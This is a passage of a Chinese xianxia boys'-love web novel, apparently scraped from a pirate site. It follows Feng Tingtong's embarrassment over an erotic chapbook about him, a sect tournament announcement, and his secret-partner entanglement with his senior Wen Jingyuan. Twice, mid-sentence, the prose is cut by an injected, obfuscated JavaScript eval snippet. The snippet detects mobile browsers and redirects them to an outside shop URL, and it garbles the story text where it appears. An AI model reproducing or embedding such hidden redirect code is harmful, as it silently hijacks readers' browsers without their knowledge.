风辰浑然不觉,还在那儿感慨,甚至用上了他从那些师妹们那里听来的词儿:“这本啊,可以说是缠绵悱恻,荡气回肠,人物刻画细腻,感情描写真挚,让人看了……简直回味无穷!” 他说得兴起,完全没注意到自家少爷的脸色已经黑如锅底。 风亭瞳:“…………” 缠绵悱恻?荡气回肠?回味无穷? 一本通篇都在描写他和闻敬渊如何乱搞,如何下流,如何生儿子的污//秽之书,究竟有什么好让人无限回味的? 风亭瞳觉得不能再这么私下查了,这简直是对他精神和名誉的双重欺辱。 他“啪”地一声将书卷拍在石桌上,霍然起身:“不行,我这就去找云清疏,让她好好管管她璇玑峰的弟子,堂堂宗门清修之地,私下流传这种淫//词艳//本,成何体统。” 璇玑峰如今的首座,名叫云清疏。 与天枢峰这种首座传承相对稳定,讲究资历和战力的峰头不同,璇玑峰内部结构更复杂,首座之位的传递有时并不完全取决于修为高低,更看重对阵法,符箓,乃至杂学的综合掌握与传承能力。 云清疏年纪其实比风亭瞳大不了多少,她是前任璇玑峰首座素问仙子的亲传大弟子,身兼藏书阁首席执掌与丹房监察两大要职,博览群书,炼丹术无人能及。 在太上宗内素有丹书圣手,静观者的雅称。 风辰道:“少爷,你冷静。” 风辰苦口婆心地劝道:“少爷,那璇玑峰毕竟峰内弟子以女子居多,您一个大男人,又是天枢峰的首座弟子,就这么气冲冲地找上门去跟一群小姑娘计较一本私下传阅的话本子,传出去,岂不是显得您没了风度?有失身份。” 他观察着风亭瞳的神色,见自家少爷显然也在权衡,连忙趁热打铁,献上自己的稳妥之计:“按我看,少爷,这事儿不宜闹大。不如就让我再多潜伏些日子,跟她们混得更熟一点,顺藤摸瓜,总能找到最初写这本书那个人。” “到时候,咱们私下里找到她,严厉警告一番,让她自己悄悄把书都收回来销毁,保证不再流传也就是了,既解决了问题,又保全了您的颜面和璇玑峰那些师妹们的面子,您说是不是?” 是啊,他风亭瞳平日里最重仪表风度,待人接物向来以温和有礼,持重端方著称。 若是为了这么一本上不得台面的淫//秽话本,就闹到璇玑峰首座那里,跟一群小姑娘较真传出去,别人会怎么看他?会不会觉得他小题大做,心胸狭窄? 甚至会不会反而坐实了话本里那些荒唐情节,让人以为他是因为被说中了心事才恼羞成怒? 他辛苦维持了这么多年的好名声,好素养,可不能因为一本不知哪个旮旯里冒出来的破书,就功亏一篑,毁于一旦。 想到这里,风亭瞳把怒火压了下去,从牙缝里挤出一个字:“……好。” 5. 师弟,你太久没有回来 风亭瞳一回到栖竹院,就像鱼儿回到了熟悉的水域,浑身上下每一个毛孔都舒展开来。 悬雪崖那无孔不入的寒气,闻敬渊那让他头皮发麻的眼神和触碰,还有那本阴魂不散的破书带来的憋屈感,都被院中熟悉的温暖阳光竹叶清香驱散了大半。 风亭瞳踩在微凉温润的青石板上,窝里的金色毛球正摊开肚皮,睡得四仰八叉,蓬松的羽毛随着呼吸一起一伏,在阳光下泛着温暖的光泽,像个烤得恰到好处蓬松的金色大饼。 风亭瞳蹲下身,伸出手指,戳了戳那圆滚滚,软乎乎的肚子。 触感厚实绵软,指尖几乎要陷进去。 他脸上的表情变得有些复杂,指尖在那温热的绒毛上流连,语气里带着点无奈和自我怀疑:“纤纤啊……你这肚子是不是真的该减减肥了?” 这话,风辰之前已经在他耳边念叨过无数次,说他这只肥鸟再不控制体重,以后怕是要飞不动了,被人抓住只能当走地鸡。 以前风亭瞳总是溺爱地反驳,觉得灵鸟幼年正是发育的时候,多吃点灵果珍露,长得壮实点好,说明自己养得好。 被戳了肚子的纤纤似乎被打扰了美梦,不满地挪了挪圆滚滚的身子,把毛茸茸的小脑袋偏向了另一边,用后脑勺对着风亭瞳,显然是嫌他啰嗦,不想理会。 风亭瞳看着它这副懒散模样,又好气又好笑,刚想再说点什么,院门外忽然传来一道童音:“风师兄在吗?凌虚剑尊有请,请师兄收拾一下,即刻前往太上殿议事。” 凌虚剑尊召唤,还是去太上殿议事,必然是宗门要事。 风亭瞳站起身,整理了一下身上略显闲适的常服,转身进屋,换上了天枢峰首座弟子正式场合所穿的绣着七星纹样的雪青色长袍,束好玉冠,佩上众生剑,这才快步走出栖竹院,朝着太上殿的方向御剑而去。 太上殿位于群山之巅,云雾缭绕,庄严肃穆。 风亭瞳抵达时,殿内已经汇聚了不少人。 天枢峰这边,凌虚剑尊座下的五大亲传弟子,除了他自己,另外四位也都到了。 三师弟谢慎之,面容沉稳,气质端方,向他微微颔首示意。 两位师妹,江晚和叶昭,江晚生性内敛文静,站在谢慎之身侧,姿态娴雅。 叶昭则和旁边一个眉眼灵动,与她有六七分相似的少年站在一起,那是她弟弟,也是他们的小师弟叶飞星。 姐弟俩都来自九州叶氏,性格如出一辙地跳脱活泼,此刻虽然规规矩矩站着,但眼神里满是好奇,正偷偷打量着殿内其他人。 除了天枢峰,其余三大仙峰的首座和各自的核心弟子也皆已到场。 璇玑峰首座云清疏,一身素雅衣衫,面容沉静,气质清冷,正与身旁一位长老低声交谈。 玉衡峰首座墨千变,冷面寡言,但熟悉他的人都知道,这位在奇道阵法上的造诣深不可测。 摇光峰首座周通明,一身玄色衣袍,身形微胖,面容和蔼,总带着笑。 大殿之上,太上宗掌门天衍剑尊端坐于首位。他须发皆白,面容清癯,虽未刻意散发威压,但仅仅是坐在那里,便有一种渊渟岳峙,令人心生敬畏的气度。 在他左右下首,分别坐着几位宗门内德高望重的长老,皆是平日难得一见的前辈高人。 见人员到齐,天衍剑尊轻轻捋了捋雪白的长须,目光平和地扫过殿内所有年轻面孔,缓缓开口。 “此次召你们前来,是为天罡问道会一事。” 他继续道,“由五大宗门轮流主办的天罡问道,还有一月之期便到了,此次轮值,由混元宫负责,地点选在了小千幻境。” 听到小千幻境四字,殿内不少年轻弟子眼中都掠过一丝好奇。 传闻小千幻境蕴含着诸多上古遗留的机缘,非寻常历练之地可比。 天衍剑尊接着说道:“混元宫传来确切消息,近日有人在小千幻境深处,发现了星髓兰的踪迹。” 星髓兰三字一出,殿内顿时响起一片极低的吸气声,连几位首座和长老的眼神都有了变化,只听名字,便知此物绝非凡品。 传闻中,星髓兰乃是吸收星辰精华,历经万载方能孕育出的天地奇珍,对于修士凝练神魂,突破瓶颈,乃至洗练根基有着不可思议的神效,是可遇不可求的绝世机缘。 天衍剑尊的目光再次扫过下方那些年轻而充满朝气的脸庞,语气沉稳带着期许:“天罡问道,五年一届,乃是我修仙界年轻一辈切磋交流,展现实力,争取机缘的盛会,百家宗门的青年才俊届时都会云集,上一届的问鼎者……” 他落在了风亭瞳身上:“是由我太上宗的天枢峰首座弟子风亭瞳夺得,此次,星髓兰作为胜者之奖,意义更为重大,尔等,当勤勉准备,为我太上宗,争得这份荣耀。” 风亭瞳感受到落在自己身上的视线,心头微微一凛,同时也有一股好胜心的热流涌动起来。 天罡问道,百家争锋……还有那诱人的星髓兰。 底下的弟子齐声道:“弟子当尽力而为!” 出了恢弘肃穆的太上殿,被厚重云层过滤后的天光洒落下来,方才殿内那股紧绷而庄重的气氛似乎也随之散去了一些。 叶星尘最是跳脱耐不住,刚下台阶,就迫不及待地小跑到风亭瞳跟前,仰起那张还带着少年稚气的脸,眼睛亮晶晶满是好奇:“二师兄!二师兄!那天罡问道会好玩吗?是不是特别热闹,特别刺激?” 他年纪最小,入门也晚,上一届天罡问道时他还只是个刚引气入体的半大孩子,自然没有机会参与。 风亭瞳正一边走,一边在心里琢磨着天衍剑尊的话和那星髓兰,被叶星尘这么一打岔,回过神来。 他看着小师弟那副纯粹好奇,不知深浅的模样,有些好笑,故意板起脸,抬手敲了一下他的额头,语气带着点训诫:“好玩?你一天到晚就想着好玩,我问你,昨日的剑诀练熟了吗?早课的吐纳完成了吗?还有师尊上次交代引气化元章,你背到哪儿了?” 叶星尘被他这一连串问题砸得缩了缩脖子,捂着额头,苦着脸告饶:“二师兄!饶了我吧!怎么师傅刚训完,你又来训我?我还小呢!” 一旁的谢慎之也走了过来,他性情沉稳,虽比叶星尘年长不了太多,却自有一番师兄的气度:“小六,二师兄训你,自有道理,前些日子的宗门大比上,你被玉衡峰的林师弟追着满场跑,最后输得毫无还手之力,表现确实欠佳,基本功不扎实,临敌经验又不足,如何能在外人面前为我天枢峰争光?” 叶昭也凑了过来,她和叶星尘是亲姐弟,性子同样活泼,但对自家弟弟可没那么多客气。 她叉着腰,瞪了叶星尘一眼,语气毫不留情:“就是!说的就是你!丢不丢人?二师兄在你这个年纪的时候,早就可以越级挑战其他峰的师兄们了,除了……” 她话说到一半,猛地顿住,似乎意识到接下来的话不太合适,飞快地瞥了风亭瞳一眼,然后含糊地带过:“……总之是鲜有败绩,哪像你,被人撵着打,简直是把我们天枢峰的脸都丢完了。” 风亭瞳听着他们的话,脸上没什么表情,心里却清楚叶昭那个除了后面是什么。 除了闻敬渊。 他风亭瞳在同辈之中,确实算得上佼佼者,年纪轻轻便剑术有成,越级挑战也不在话下,过往战绩堪称辉煌。 可偏偏,这八年来,每一次宗门大比,闻敬渊都稳稳地压在他头顶,就算是闻敬渊不参加也越不过他,让风亭瞳所有的光芒都不得不屈居第二。 鲜有败绩?不,在闻敬渊面前,他是屡战屡败。 而如今,更是无人确切知晓闻敬渊究竟是何等修为。 那家伙深居悬雪崖,鲜少在人前出手,挂名在天枢峰下,却又是地位超然的玄苍长老亲传。这种神秘感,加上他过往那无可争议的强大,反而让许多不清楚内情只闻其名的师弟师妹们,对他充满了崇拜与向往。 风亭瞳内心嗤笑一声,那点不甘和好胜心汹涌地翻腾着。 早晚,他早晚要把闻敬渊彻底踩在脚底下,让所有人都看清楚,谁才是天枢峰,乃至太上宗年轻一辈真正的第一人。 这时,身后传来凌虚剑尊低沉而威严的声音,叫住了正准备散去的几人。 凌虚剑尊须发微动,语气郑重:“天罡问道会在即,接下来这一月,你们身为师兄师姐,务必敦促座下弟子,好生完成每日功课,不可有丝毫懈怠。尤其是基础剑诀与心法,需勤加练习,稳固根基。” 风亭瞳,谢慎之,江晚,叶昭,叶星尘五人齐齐躬身,恭敬应道:“是,师尊!” 凌虚剑尊点了点头,目光在他们脸上逡巡片刻,似乎还有话要说。他原本准备挥退其他几人,只留下谢慎之。 往年的天罡问道会,闻敬渊从未参加。他身份特殊,修为又高,不参加也无人会说什么。 但这次不同,此次的胜者奖励是星髓兰,此等机缘,对于任何修士,尤其是年轻一辈,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123118|195992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有着难以抗拒的吸引力。 玄苍长老行踪不定,闻敬渊又是他的亲传,于情于理,宗门都该问上一声,以示对玄苍长老和闻敬渊本人的尊重,这也是掌门和几位长老的意思。 凌虚剑尊目光落在了风亭瞳身上。 风亭瞳是天枢峰首座弟子,与闻敬渊名义上也算是同峰师兄弟,由他去传话的话,他知道风亭瞳心里肯定不舒服。 自己的徒弟,他还能不知道吗? 装得面上一片风轻云淡,实则无比在意。 “慎之,” 凌虚剑尊开口,“你且留一下,其余人,先下去吧。” 另外几人依言告退,转身朝着天枢峰的方向走去。 走出了一段距离,确保师尊和风亭瞳听不见了,几个少年人的天性才重新活跃起来。 叶昭按捺不住好奇:“哎,你们说大师兄这次会不会去那个天罡问道会啊?星髓兰听着就好厉害的样子。” 江晚性子沉静些,想了想,轻轻摇头:“我从前听一些早入门的师兄师姐提起过,大师兄好像从来没参加过天罡问道会,连宗门大比,后来也都不怎么露面了。” 叶星尘在旁边听得心痒,插嘴问道:“不是说大师兄特别强吗?比二师兄还厉害呢,那他为什么不去啊?要是他去了,星髓兰岂不是手到擒来?” 他年纪小,说话直接,没那么多顾忌。 叶昭一听,吓得连忙伸手去捂他的嘴,眼睛瞪得溜圆,急声道:“你想死啊,小声点,这种话我们私下说说也就罢了,谁敢在二师兄面前提啊。” 叶星尘被捂住嘴,呜呜了两声,好不容易挣脱出来,有些委屈地嘟囔:“……我看二师兄好像不太在意啊?” 他总觉得二师兄虽然有时候严肃,但并非小气之人。 江晚抿了抿唇:“你入门晚,不知道,大概是五年前吧,那年宗门大比,二师兄还不是首座弟子,排名在中间,他跟大师兄在决赛台上对上了。” “那场比试很激烈,大师兄的剑太快,二师兄最后被打落了剑,站在台上,眼圈好像都红,我记得他好像扔下剑,头也不回地就冲下台跑了。” 叶昭在一旁用力点头:“我当时就在台下,看得清清楚楚,二师兄跑了之后,大师兄那张万年不变的冰块脸上,都出现了一丝慌乱,他站在台上,看着二师兄跑走的方向,愣了好一会儿呢,那之后……大师兄好像就再也没参加过宗门大比了,至少我没再见过。” 叶星尘听得目瞪口呆,喃喃道:“二师兄哭?还扔下剑跑了?无法想象……” 在他印象里,二师兄永远是挺拔自信,沉稳可靠,哪怕输了比赛,也理应是从容认输,风度不减。 江晚叹了口气,继续道:“你也知道,咱们天枢峰师兄弟之间的排序,从来不是按年龄,而是看修为实力。谁强,谁就是师兄,我们这一辈里,好像……只有大师兄,从入门开始,就是大师兄。” 天枢峰二十年一选弟子,许多还是奶娃娃的时候便在天枢峰了,有些还是上任师兄带大的,没有年龄之分,只看天资是否合适。 下一次新弟子入门,还得再过十年。 几人正低声议论着,叶昭眼尖,忽然咦了一声,手指悄悄指向广场另一侧的云海边缘:“哎,等等……你们看那边,那是不是大师兄?” 修士目力极佳,闻言,江晚和叶星尘都顺着她指的方向看去。 果然,在缭绕的云雾边缘,站着一个高大挺拔的身影,穿着一身素白洁净,不染尘埃的衣袍,与悬雪崖的冰雪仿佛一脉相承。 山风吹动他的衣袂和发丝,让他看起来像是随时会融入那片苍茫的云海之中。 而此刻,那个身影正静静地拦在了风亭瞳。 距离有些远,听不清他们在说什么,但气氛似乎有些凝滞。 江晚心里一紧:“他们……不会打起来吧?” 毕竟二师兄对大师兄的心结,他们多多少少都知道一些。 而此刻,站在闻敬渊面前的风亭瞳,心情远没有师弟师妹们猜测的那么剑拔弩张,更多的是一种猝不及防的无语。 风亭瞳看着眼前这张几天不见,但眼神依旧专注得让他发毛的脸,眉头拧紧,语气不善:“你在这里干什么?” 悬雪崖的冰,太上殿的云,还有眼前这个人。 是风亭瞳三大讨厌之物。 闻敬渊看着他,沉默了几秒:“师弟,你太久没有回来,我担心你,所以下来找你了。” 6. 我一定好好给咱们孩子做榜样 闻敬渊已经许多年没下过悬雪崖了,加上他的师尊,地位超然的玄苍长老常年行踪不定,宗门内其余几大峰的首座,论辈分虽是他的师长,却也因着玄苍长老这层关系,不好也不便对他摆出管教的姿态。 久而久之,这位天枢峰的大师兄便成了太上宗一个特殊的存在,只闻其名难见其人。 风亭瞳听到闻敬渊那句“担心你,所以来找你了”,心头猛地一跳,下意识警惕地回头望去。 果然,在远处云雾稍薄处,三颗脑袋正齐刷刷地往这边张望。 他们一定看见闻敬渊了,也一定看见闻敬渊拦住自己,两人面对面站着的场景了。 他几乎能想象出那三个家伙此刻脸上会是怎样震惊的表情。 风亭瞳只觉得自己的清白正受到前所未有的威胁。 闻敬渊却对风亭瞳的紧张毫无所觉,在他脑子里道侣之间互相寻找,互相关心是天经地义的事。 他看着风亭瞳骤然绷紧的侧脸和警惕回望的动作,眼神里掠过一丝困惑,更多是被冷落后委屈的控诉:“师弟,我等了你几日都不见你归来,还以为你将我忘了。” 风亭瞳闻言警告:“你少胡言乱语。” 他生怕被远处的师弟师妹们听去只言片语,那他的名声就真的跳进黄河也洗不清了。 闻敬渊被他这突如其来的凶狠态度弄得怔了一下:“师弟,你看起来好像很紧张,我的出现让你不开心了吗?” “可是我们不是道侣吗?” 风亭瞳:“对啊,我们是道侣,但是只有我们两个人知道的道侣关系,你明白吗?” 他紧紧盯着闻敬渊的眼睛,让对方理解这其中的利害,加重语气:“你倘若跟其他人透露半分,哪怕一个字,我就不会让你再见到儿子。” 这招杀手锏果然有效。 闻敬渊嘴唇动了动,似乎想反驳,想问“道侣关系为何要隐瞒”“儿子是我们两个人的”,但最终,在风亭瞳眼神逼视下,顺从道:“知道了,师弟果然还是瞧不上我。” 风亭瞳懒得理会他这点突如其来的少男心事和自怨自艾,见他答应,心里稍微松了口气。 眼看江晚,叶昭和叶星尘三人似乎犹豫了一下,最终还是按捺不住好奇心,朝着这边走了过来,他赶紧又低声催促了一句:“记住我说的,少说废话。” 说话间,江晚三人已经走到了近前。 他们脸上都带着掩饰不住的兴奋和敬畏,规规矩矩地站定,齐齐朝着闻敬渊躬身行礼,声音恭敬而整齐:“拜见大师兄!” 闻敬渊此刻已经收敛了刚才面对风亭瞳时的那些细微情绪,恢复了那副万年不变没什么表情的死人脸。 他扫过三人,点了点头,算是回应,一个字都没多说,充分展现了他神秘高冷的大师兄风范。 叶昭最是机灵,见状连忙开口,语气带着恰到好处的尊敬和一点点打圆场的意味:“大师兄和二师兄是在商量要事吗?我等还得赶回去做今日的功课,就不打扰二位师兄了。” 她说着,悄悄扯了扯还在偷偷打量闻敬渊的叶星尘的袖子。 风亭瞳巴不得他们赶紧走,立刻顺水推舟,摆了摆手:“去吧,勤勉修行,莫要懈怠。” “是,” 三人又行了一礼,这才一步三回头,恋恋不舍地离开了,边走还能听到叶星尘压低兴奋的询问声。 看着他们的身影消失在云阶拐角,他转过身,看着还杵在原地的闻敬渊:“你现在回你的悬雪崖去,别在这里招摇。” 他实在不想再因为闻敬渊的出现,引发不必要的猜测和流言。 闻敬渊却站着没动:“师弟不和我一起回去吗?” 风亭瞳简直要被他的黏人气笑了,他抱着胳膊,抬了抬下巴:“我可没有你这个做大师兄的悠闲,一月之后,便是天罡问道会,我得督促峰内师弟师妹们好生修行,备战问道会,没空陪你。” 这时一道沉稳的脚步声由远及近。 谢慎之此刻也正从太上殿的方向走来,见到风亭瞳和闻敬渊站在一处,他脚步顿了顿,脸上闪过一丝讶异,朝着两人走了过来。 谢慎之也是这许多年来,也是头一次见到这位神秘莫测的大师兄走下悬雪崖,方才刚听了师尊凌虚剑尊的嘱咐,心中不免多了几分思量。 他素来性情沉稳,惯会做人处世,此刻自然不会当着风亭瞳的面,直接提及师尊交代关于询问闻敬渊是否参加天罡问道会的事。 他走上前几步,在两人面前站定,先是对着闻敬渊恭恭敬敬地行了一礼:“大师兄下山,这是……” 闻敬渊嘴唇微动,似乎正要开口回答。 然而,不等他发出声音,旁边一直紧绷着神经的风亭瞳,几乎是条件反射般地抢先一步截住了话头:“散心。” 风亭瞳生怕闻敬渊嘴里吐出什么惊世骇俗的词来。 谢慎之脸上适时地露出一丝了然和微笑,顺着话头道:“哦,散心好啊,大师兄深居简出,难得下山走动,师弟一直未曾有机会正式拜会大师兄,心中仰慕已久。” 他态度诚恳地邀请道:“不知大师兄是否愿意光临师弟的寒舍?师弟在剑道修行上,一直有些滞碍难明之处,久闻大师兄剑术通玄,若能得大师兄指点一二,师弟感激不尽。” 风亭瞳一听,眉头立刻皱了起来,他现在对让闻敬渊单独面对任何人这件事,都保持着高度神经质的敏感。 他太怕闻敬渊那个脑子,万一谢慎之真把人请了去,聊着聊着,闻敬渊突然来一句“我夫人如何如何”,“我儿子怎样怎样”。 那他风亭瞳还不如直接吊死在天枢峰算了。 “不了。” 风亭瞳再次抢在闻敬渊之前开口,“他要回去了。” 他一边说,一边用眼神示意闻敬渊,希望这家伙能识相点赶紧顺着自己的话走人。 谢慎之被这直截了当的拒绝弄得愣了一下,目光带着明显的疑惑,转向了风亭瞳。 他有些不解,自己只是想请教大师兄剑道问题,二师兄为何反应如此之大,甚至像是在替大师兄做决定? 被风亭瞳眼神威胁着的闻敬渊:“……嗯,我要走了。” 算是默认了风亭瞳说的要回去了。 谢慎之虽然疑惑,但见闻敬渊本人也点了头,便也不好再坚持邀请,他又换了个提议:“既然大师兄不便,那不如师弟随大师兄去一趟悬雪崖?也免得大师兄独自回山路上寂寥。” 他想的是,能借机踏上悬雪崖,亲眼看看这位大师兄的修行之地,或许也能有所感悟。 以前没这机会。 又可将师尊交代的事完成,一举两得。 这话一出口,风亭瞳更是警铃大作。 去悬雪崖?开什么玩笑! 他自己在悬雪崖住了几日,那地方除了冰就是雪,空旷简陋得过分,风亭瞳素来讲究,出门排场未必大,但随身佩戴的小玩意儿,常用的零碎物件很多,以及那些被他带过去与寒鉴洞府格格不入的云锦被褥,紫砂茶壶…… 他走得匆忙,根本来不及细细收拾,若是让谢慎之上了悬雪崖,进了寒鉴洞府,看到那些明显属于他的东西散落在闻敬渊的洞府里。 到时候他就是长着八张嘴也解释不清楚了。 什么请教剑道? 恐怕立刻太上宗就会传出天枢峰二师兄与大师兄于悬雪崖秘密共寝这等惊天之话。 “不行!” 风亭瞳几乎是脱口而出,“大师兄他要闭关了,紧要关头不宜见客,更不宜有人打扰。” 谢慎之:“…………” 他脸上的疑惑更深了,目光在风亭瞳和闻敬渊之间来回转了两圈。 这全程几乎都是风亭瞳在说话,在替闻敬渊回答,在做决定。 而这位传闻中高深莫测,实力超群的大师兄,从头到尾除了几个嗯,几乎没怎么开过口。 这情景,落在谢慎之眼中,就显得格外耐人寻味,就好像,就好像,风亭瞳才是闻敬渊的嘴,代表了闻敬渊的意思,甚至可以替闻敬渊做主一切对外事务。 不是说大师兄和二师兄向来不和吗? 风亭瞳殊不知这一幕落到旁人,非但没有撇清关系,反倒更显得他们二人之间关系匪浅。 甚至有某种不足为外人道的默契与牵绊。 风亭瞳也察觉到了谢慎之眼神里的异样,心里暗道不好,他连忙找补:“我刚才遇见他早,他已经跟我说过了,对吧?” 他转头,看向闻敬渊。 闻敬渊又木然地应了一声:“……嗯,遇见得早。” 谢慎之看着他们这一唱一和,一个急赤白脸地解释,一个只会嗯的配合。 谢慎之语气平和地说道:“既然如此,那师弟就不打扰大师兄闭关清修了,二师兄,师弟手头还有些师尊交代的其他事务需要处理,就先告退了。” 这短短片刻的周旋,简直比跟闻敬渊打一架还累。 闻敬渊关心:“师弟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123119|195992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你若是觉得累,或是要应付这些事麻烦,我也可以替你分担分担。” 风亭瞳语气硬邦邦的:“我不累,谁说我累的?” 他可不敢让闻敬渊分担,不添乱他就谢天谢地了。 “你现在回你的悬雪崖去,别再下来乱晃。” 闻敬渊被赶回了那片冰雪覆盖的孤峰。 风亭瞳看着他御剑远去,融入云海的背影,才松了口气。 过了一日,天枢峰例行的弟子早课上,风亭瞳站在演武场前的高台上,目光扫过下方整齐列队,挥汗如雨练习基础剑诀的师弟师妹们,他没看见谢慎之。 早课结束后,他叫住了正要去璇玑峰领取这个月修炼资源的江晚,状似随意地问了一句:“怎么没见慎之?” 江晚停下脚步:“回二师兄,谢师兄说他要去一趟悬雪崖,向大师兄请教些剑道上的疑难。” 风亭瞳心里“咯噔”一下。 谢慎之果然是贼心不死。 悬雪崖…… 闻敬渊那个傻子,万一说漏了嘴。 他再顾不得其他,身形一晃,便化作一道流光,疾速朝着悬雪崖的方向掠去,山风凛冽,吹得他雪青色的衣衫猎猎作响。 等他御剑落快步走向寒鉴洞府时,迎面碰上了正准备离开的谢慎之。 谢慎之显然也没料到会在这里遇见风亭瞳,脚步微顿,对着风亭瞳行了一礼:“二师兄?” 风亭瞳被他这么打量着,只觉得浑身不自在,他强作镇定,点了点头,语气尽量自然:“嗯,你请教完了?” “是。” 谢慎之简略地应了一声。 风亭瞳巴不得他赶紧走,连忙道:“那你先下山去吧,峰内还有事务需你处理,我正好也有点事要找他。” 谢慎之没再多问,只是再次欠身:“是,二师兄,师弟先行告退。” 说罢,他转身,召出飞剑,身影很快消失在茫茫云海之中。 看着谢慎之离开,他大步流星地走进寒鉴洞府,穿过空旷冰冷的正厅,径直朝着洞府后方那处小小的冰谷走去,闻敬渊果然在那里。 闻敬渊正蹲在冰谷边缘,手里拿着几株翠绿的冰凌草,耐心地喂着那几只挤成一团,毛茸茸的雪兔。 悬雪崖难得有阳光穿透厚重云层洒在他素白的衣袍和雪兔蓬松的绒毛上。 风亭瞳站到闻敬渊面前,居高临下地看着他,语气不善:“刚才谢慎之同你说了什么?你有没有胡言乱语?说些不该说的?” 闻敬渊抬起头:“我知道什么该说,什么不该说。” “他同我讲了天罡问道会的事,问我想不想去。” 风亭瞳心下了然,果然是师尊让谢慎之来传话的:“那你应下了吗?” 闻敬渊放下手中的冰凌草,站起身,他比风亭瞳高一些,此刻微微垂眸看着风亭瞳:“我听你的。” 风亭瞳被他这四个字噎了一下,心里涌上一股极其别扭的感觉。 这家伙这时候倒是听话得很。 风亭瞳别开视线,语气有些生硬:“……去吧。” 他又忍不住数落道:“你一整天就窝在这冰天雪地里,喂喂兔子,看看破书,除了修为高点,哪里有点大师兄的气度?也该出去见见世面。” 风亭瞳心想他才不是为了闻敬渊好。 他心里另有算计,闻敬渊这家伙,自从被他打傻了之后,就再没跟他动过手,每次他想试探或切磋,闻敬渊都以让他火大的温顺态度避开。 正好,这次天罡问道会,百家宗门年轻一辈高手云集,闻敬渊若是参加,必定会出手。到时候,他就能好好看清楚,闻敬渊如今到底还有几层功力,剑术又到了何种境地。 知己知彼,才能百战不殆。 闻敬渊听了他的话,却似乎理解成了别的意思,他上前一步,伸出手臂,将风亭瞳轻轻拥入了怀中。 闻敬渊的下巴抵在风亭瞳的肩窝,声音低低的,郑重其事:“师弟,你放心,我一定好好给咱们孩子做榜样。” 风亭瞳:“…………” 他整个人都僵住了,被男子拥抱的触感,温热坚实的胸膛,还有耳边那温热的气息和荒唐的话语,他猛地推开闻敬渊,后退两步,指着对方:“不许在外人面前抱我。” 闻敬渊:“那只有我们两个的时候可以吧。” 风亭瞳心想,闻敬渊装什么纯,那本淫/书里,他对他可是做尽了下//流事,简直就是绝世淫/虫一个。 7. 我最近在他面前的所有行为都是演戏 筹备天罡问道会的这些日子,风亭瞳在天枢峰与悬雪崖之间奔波,督促师弟师妹们勤修苦练,自己也加紧磨砺剑术,忙得脚不沾地。 而风辰,作为他最得力的贴身仆从,自然也闲不下来,但他另有一番忙碌的天地。 借着调查《天枢峰秘史》的由头乐在其中,风辰与璇玑峰那些平日里喜欢写写画画,传阅话本子的小师妹们混得越发熟稔。 他本就机灵会说话,又是天枢峰首座弟子身边亲近的人,自带一层光环,很快就打入了这群年轻女修的内部。 混熟了之后,话题难免会绕到那些风靡私下的话本上,而最近最热门的话题,自然是那本横空出世的《天枢峰秘史》。 说来也怪,风辰本是为了查清真相才接近她们,可听着小师妹们叽叽喳喳地讨论书里闻师兄如何对风师兄痴情一片,强取豪夺,虐恋情深。 风辰他那颗伺候惯了自家少爷,深知少爷对闻敬渊恨得牙痒痒的心,竟然也渐渐生出一种极其微妙,甚至有点邪门的别样情愫。 仿佛看多了那些虚构的缠绵悱恻,连带着看现实中自家少爷和那位闻师兄之间那剑拔弩张,你死我活的关系,主要是他们少爷单方面想象,都蒙上了一层诡异可供遐想的滤镜。 据璇玑峰的师妹们说,往些年,私下话本里最盛行,最受欢迎的当属天枢峰三师兄谢慎之与玉衡峰首座弟子秋不羁。 一个性情温润端方,处事周全,一个潇洒不羁,行事颇有几分狂放肆意。 两人因着宗门事务和各自峰头的合作,私交甚笃,时常一同外出历练,给了无数笔手们源源不断的灵感,衍生出各种或温馨或跌宕的故事。 而风亭瞳,作为年轻一辈的佼佼者,容貌气度皆属上乘,按说也该是话本里的热门人选。 可奇怪的是,以前没人敢写他。 这位二师兄平日里对外虽然温和有礼,但那份出身大族的矜贵与天资卓绝的骄傲是刻在骨子里,眉眼间总带着一种凡人勿近的疏离感。 师妹们私下议论,都觉得二师兄那样的人物,眼光必定高到天上去,怕是天上的仙女都未必能入眼,更遑论尘世间的寻常女修或男修。 谁都配不上,自然也无人敢随意编排。 可偏偏,就在这种无人敢写的背景下,一本《天枢峰秘史》横空出世,石破天惊。 它不仅写了,还写得极其大胆露骨,主角正是那位谁都配不上的二师兄风亭瞳和那位更加神秘高冷,常年神隐的大师兄闻敬渊。 这组合,这内容,瞬间引爆了璇玑峰弟子们的私下交流圈,几乎到了人手一本,争相传阅,热烈讨论的地步。 风辰打听时,好几个师妹说到激动处,都忍不住脸颊泛红,眼神发亮。 风辰听着她们讨论,心里既为自家少爷的魅力感到一丝与有荣焉的骄傲,又为那本书里不堪入目的内容感到愤慨。 风辰:“我们少爷性子是矜贵高傲了些,但那是应当的,我们风家那可是九州大渊传承久远的名门望族,祖上出过宰辅,底蕴深厚。若不是当年少爷自己闹着非要上这太上宗清修吃苦,他在风府过的那才叫真正的神仙日子,锦衣玉食,仆从如云,何须在这山野之间餐风饮露?” 璇玑峰的小师妹们听得入神,其中一位圆脸杏眼的师妹好奇地问:“清修如此艰苦,风师兄家里人当初就应允他来了吗?” 风辰追忆:“一开始,自然是不应允的,老爷和夫人当时就少爷这一根独苗,疼得跟眼珠子似的,哪里舍得送来受这份罪?但是啊……” 